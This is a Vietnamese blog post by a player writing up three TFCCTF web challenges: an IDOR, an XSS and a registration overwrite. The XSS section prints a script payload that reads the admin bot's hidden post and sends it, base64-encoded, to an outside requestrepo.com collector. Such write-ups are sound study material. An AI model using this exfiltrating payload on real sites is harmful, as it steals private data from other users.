Chà chà, TFCCTF và những cuộc đua :v

Hế lô mn lại là tui đây, lần này bọn mình vừa tham gia TFCCTF và đạt kết quả khá ổn :v Chỉ tiếc là team mình thiếu pwner nên bạn nào muốn chơi cùng thì ib cho mình nha :>

      

Chém gió thế đủ rồi, mình solve được đúng 3 bài web, kết quả khá tệ cho đứa như mình nên mình sẽ wu từ dễ đến khó các bài mình đã làm, sẽ ghi tiếp để học hỏi nhưng không phải bây giờ :/

Web1: Baby ducky notes. (IDOR)

Mọi người có thể tải source tại đây 


Bài này chỉ là warmup nên khá là dễ :v
Đầu tiên là chú ý vào dòng này :v Dễ thấy nó sẽ gọi hàm db_get_user_posts với username do ta điều khiển được.
Hàm này sẽ trả về nội dung của user

Sau khi reg 1 acc, mình sẽ đổi từ konchan -> admin
và nhận flag


Web2: Baby ducky notes: revenge (XSS)
Mọi người có thể tải source tại đây
Tiếp tục là bài review source, mình khá lười cho các bài dạng này.
Lần này con bot nó có 1 bài đăng ẩn, chúng ta không thể đọc được theo các thông thường.

Con bot sẽ ghé qua nhà mình khi mình report, 


Mình sẽ lợi dụng lỗi xss để leck content của con bot khi nó ghé qua nhà mình.
payload như sau.
mọi người test ở local nha, t lười làm lại trên web quá :v

<script>
const httpInfo = `
  Protocol: ${window.location.protocol}
  Hostname: ${window.location.hostname}
`;

fetch('http://localhost:1337/posts/view/admin', {mode: 'no-cors'})
  .then(r => r.text())
  .then(text => {
    const data = httpInfo + text;
    const encodedData = btoa(data);
    fetch(`https://anaihn7u.requestrepo.com?cc=${encodedData}`, {mode: 'no-cors'});
  });
</script>

Web3: Mctree (Overwrite Register)
Bài này test blackbox nên hơi khó khăn, nhưng mà mình thích :))
Tóm lại các bước mình đã thử :v
Thử crack jwt nhưng không thành không nên mình nghĩ sẽ ghi đè kiểu gì đó.
vd như khi register:
username:<backspace>admin
nhưng không được :(
mình nhận thấy một số kí tự đặc biệt sẽ replace thành rỗng nên register kiểu
username:{admin
password:admin
thì nó kiểu như này.
Sau đó login và nhận flag :)))
À mà cách này của mình là giải pháp ngoài dự định, khá tuyệt vời :))




 Các source-code challenge mình sẽ update trên github của mình :))) mn có thể dành chút tg follow cũng được

  https://github.com/tiyeume25112004








Nhận xét

Bài đăng phổ biến từ blog này

KMACTF và nỗi buồn éo làm được gì cả T__T